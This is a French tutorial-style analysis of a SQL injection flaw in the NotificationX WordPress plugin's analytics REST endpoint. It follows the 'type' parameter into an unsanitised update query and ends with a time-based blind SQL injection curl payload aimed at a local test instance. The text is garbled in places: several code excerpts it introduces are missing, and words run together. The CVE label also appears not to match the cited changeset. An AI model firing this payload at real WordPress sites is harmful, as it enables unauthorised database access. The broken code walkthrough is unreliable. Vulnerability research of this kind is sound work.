
Analyse technique étape par étape de CVE-2019-1698, une vulnérabilité d'injection SQL dans un plugin WordPress, avec revue de diff de code, identification de fonction vulnérable et démonstration d'exploitation à l'aide de curl.
Référence de code 1 : https://plugins.trac.wordpress.org/changeset/3040809/notificationx/trunk/includes/Core/Rest/Analytics.php

Référence de code 2 : https://plugins.trac.wordpress.org/changeset/3040809/notificationx/trunk/includes/Core/Database.php

Par conséquent, le fichier suivant est pertinent pour cette CVE :
wp-content/plugins/notificationx/includes/Core/Rest/Analytics.php
Maintenant, nous allons vérifier que le fichier pourrait contenir du code vulnérable :
Concentrez-vous sur la fonction insert_analytics() :
Elle reçoit (provenant de l'utilisateur) et extrait le paramètre .
$requesttypeEnsuite, cette valeur est transmise à la fonction CoreAnalytics::get_instance()->insert_analytics() :

Pour déclencher ce code, on remarque la route mappée (depuis la classe Analytics, à l'intérieur de la fonction register_routes()) :
$this->namespace . '/' . $this->rest_base
Et le constructeur de la classe Analytics révèle les valeurs des variables namespace et rest_base :
public function __construct() {
$this->namespace = 'notificationx/v1';
$this->rest_base = 'analytics';
add_action('rest_api_init', [$this, 'register_routes']);
}
Ainsi, le code pertinent (vulnérable) qui accepte le paramètre type fourni par l'utilisateur peut être atteint via la route suivante :
notificationx/v1/analytics
Mais quelle est la méthode d'exploitation et où se trouve la requête SQL d'injection ?
Puisque le paramètre type fourni par l'utilisateur est passé à :
CoreAnalytics::get_instance()->insert_analytics( absint( $params['nx_id'] ), $type );
Localisation de cette fonction :
Vérifions le code de cette fonction dans le fichier surligné :
wp-content/plugins/notificationx/includes/Core/Analytics.php** :**

Si vous pensez que la vulnérabilité se trouve dans la fonction increment_count(), vous êtes sur la bonne voie !
Voici la fonction increment_count (elle reçoit le paramètre $type de l'utilisateur) :

Cette fonction appelle à son tour la fonction update_analytics(). Regardons-la :


La fonction update_analytics crée une requête SQL dynamiquement et l'entrée utilisateur non assainie en fait partie. Cela sent le poisson ? En effet, c'est ce qui cause la vulnérabilité.
Le paramètre $col correspond au paramètre type envoyé par l'utilisateur dans la requête HTTP.
Le $table_name est défini à : nx_stats :
public function __construct() {
global $wpdb;
$this->wpdb = $wpdb;
self::$table_entries = $wpdb->prefix . 'nx_entries';
self::$table_posts = $wpdb->prefix . 'nx_posts';
self::$table_stats = $wpdb->prefix . 'nx_stats';
}
Pour identifier le verbe correct, j'ai utilisé l'API REST de WordPress :
http://localhost/wp-json/

La route API /notificationx/v1/analytics peut être déclenchée par une requête POST et nous devons passer nx_id (un entier) et (optionnellement) type (une chaîne).
Rappelez-vous que les informations d'analytique étaient mises à jour dans la table nommée nx_stats, que nous avons déduite plus tôt à l'aide de ces extraits de code de wp-content/plugins/notificationx/includes/Core/Database.php :
public function __construct() {
global $wpdb;
$this->wpdb = $wpdb;
self::$table_entries = $wpdb->prefix . 'nx_entries';
self::$table_posts = $wpdb->prefix . 'nx_posts';
self::$table_stats = $wpdb->prefix . 'nx_stats';
}
$table_name = self::$table_stats;

Notre plan est de voir la requête SQL construite lorsque nous passons notre charge utile dans la requête.
Et maintenant, nous allons renvoyer notre requête curl (avec la charge utile SQLi) :
time curl http://localhost:8080/wp-json/notificationx/v1/analytics -d 'nx_id=1337&type=clicks`=IF(SUBSTRING(version(),1,1)=5,SLEEP(10),null)-- -'
